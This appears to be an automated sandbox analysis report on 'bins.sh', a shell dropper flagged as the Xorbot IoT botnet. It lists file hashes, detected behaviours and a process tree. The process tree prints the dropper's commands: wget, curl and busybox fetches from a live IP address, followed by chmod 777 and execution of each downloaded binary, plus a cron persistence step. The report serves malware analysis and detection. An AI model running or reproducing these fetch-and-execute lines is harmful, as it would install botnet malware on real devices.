Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/12/2024, 02:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b893f8a3678f6324d5e1ff87d0393fa8

  • SHA1

    1e2b102dfda685b62684033152b33fc1844b8ccc

  • SHA256

    ef8f8c5c5b36b0a529408a4548db9eda2c603d762c5b002c87d80ca2520048e1

  • SHA512

    e50b84a12d2bf95173db594a0ecb5605d3d67b75df6eb86618b0843595c429c17fffc8046dea74fa907583fa085bdba834b776f6d88de8683d8cc9715a524bf3

  • SSDEEP

    96:iJdwuOdS1MNnzcD7/BVYsidM7bL9SZ44gHs8T0Y7RcyBVYsid67Hs09SDMUCnzc7:UJynzcD7jz7bZSZ4NfzjSqnzcD7Rvl

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2042) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:650
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://37.44.238.68/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:673
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod 777 WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          ./WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
          • Executes dropped EXE
          PID:682
        • /bin/rm
          rm WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://37.44.238.68/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:687
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • Writes file to tmp directory
            PID:693
          • /bin/chmod
            chmod 777 CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • File and Directory Permissions Modification
            PID:696
          • /tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            ./CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
            • Executes dropped EXE
            PID:697
          • /bin/rm
            rm CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D
            2⤵
              PID:700
            • /usr/bin/wget
              wget http://37.44.238.68/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • Writes file to tmp directory
              PID:701
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:710
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • Writes file to tmp directory
              PID:719
            • /bin/chmod
              chmod 777 LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • File and Directory Permissions Modification
              PID:723
            • /tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              ./LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
              • Executes dropped EXE
              PID:724
            • /bin/rm
              rm LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw
              2⤵
                PID:726
              • /usr/bin/wget
                wget http://37.44.238.68/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                2⤵
                • Writes file to tmp directory
                PID:728
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:735
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                2⤵
                • Writes file to tmp directory
                PID:744
              • /bin/chmod
                chmod 777 ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                2⤵
                • File and Directory Permissions Modification
                PID:748
              • /tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                ./ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                2⤵
                • Executes dropped EXE
                PID:749
              • /bin/rm
                rm ICSln54toXF8PblqnLRBfadRKrl4bDnv70
                2⤵
                  PID:751
                • /usr/bin/wget
                  wget http://37.44.238.68/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /usr/bin/curl
                  curl -O http://37.44.238.68/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:754
                • /bin/busybox
                  /bin/busybox wget http://37.44.238.68/bins/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                  2⤵
                  • Writes file to tmp directory
                  PID:755
                • /bin/chmod
                  chmod 777 RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:758
                • /tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                  ./RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                  2⤵
                  • Executes dropped EXE
                  PID:759
                • /bin/rm
                  rm RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2
                  2⤵
                    PID:762
                  • /usr/bin/wget
                    wget http://37.44.238.68/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                    2⤵
                    • Writes file to tmp directory
                    PID:763
                  • /usr/bin/curl
                    curl -O http://37.44.238.68/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:772
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.68/bins/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                    2⤵
                    • Writes file to tmp directory
                    PID:780
                  • /bin/chmod
                    chmod 777 UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                    2⤵
                    • File and Directory Permissions Modification
                    PID:783
                  • /tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                    ./UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:785
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:787
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:789
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:791
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:793
                      • /bin/rm
                        rm UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg
                        2⤵
                          PID:801
                        • /usr/bin/wget
                          wget http://37.44.238.68/bins/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC
                          2⤵
                          • Writes file to tmp directory
                          PID:804

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/A4qwGpQuyNPfIrhIbSuGFvySRPhC1LA5cC

                        Filesize

                        12KB

                        MD5

                        52ada75fd996718b8b9bc34da16eef24

                        SHA1

                        d12ad65f90bf69998210811cbb938a7265da1481

                        SHA256

                        0d8fb1bdefaaecec5c364cd7de9fee4b858437104269904655f5525b3396a6ff

                        SHA512

                        6090176f681c151bb983e1dc4f5aa754e0dcf4d0d082e97a981055acec881c6a6da09062db0fe7bc95346b1b1ccd09813fadf51b06e0744e7c062f6c5f8f1361

                      • /tmp/CSXvuw8xXaGC6LVAzjKSN5Txjai8eL4O8D

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/ICSln54toXF8PblqnLRBfadRKrl4bDnv70

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/LjQoSDge3Lz7ntrTFL7U1l9iLRD8duQtcw

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/RZBU2o7Cb4Wa1FzZtrsCRUSqXemmItlcG2

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /tmp/UTd6wFtqybf8oDOvah2zc9m4gh6ql3qCBg

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /tmp/WSuyY9DEPjA4IfWOlRpgM9MlQJluOKAjxT

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /var/spool/cron/crontabs/tmp.OXNfck

                        Filesize

                        210B

                        MD5

                        b61d87bd0660f5c363ebd030d6c9dd5a

                        SHA1

                        4ae10001f5fd63af13ab5f05ae49e465d144d2b0

                        SHA256

                        d26b6b0b1ab5b7334351a7bbebacac3642da79b5771b17b6cea9b0f7f47356f6

                        SHA512

                        2ee6b2a4da381c3100efd021035d540fa4ea5f1c033906780688474dcd21bf2745082f97fbcba9aea5786a69ced24d3d08d7cf68b847caec037baef0c226e8f5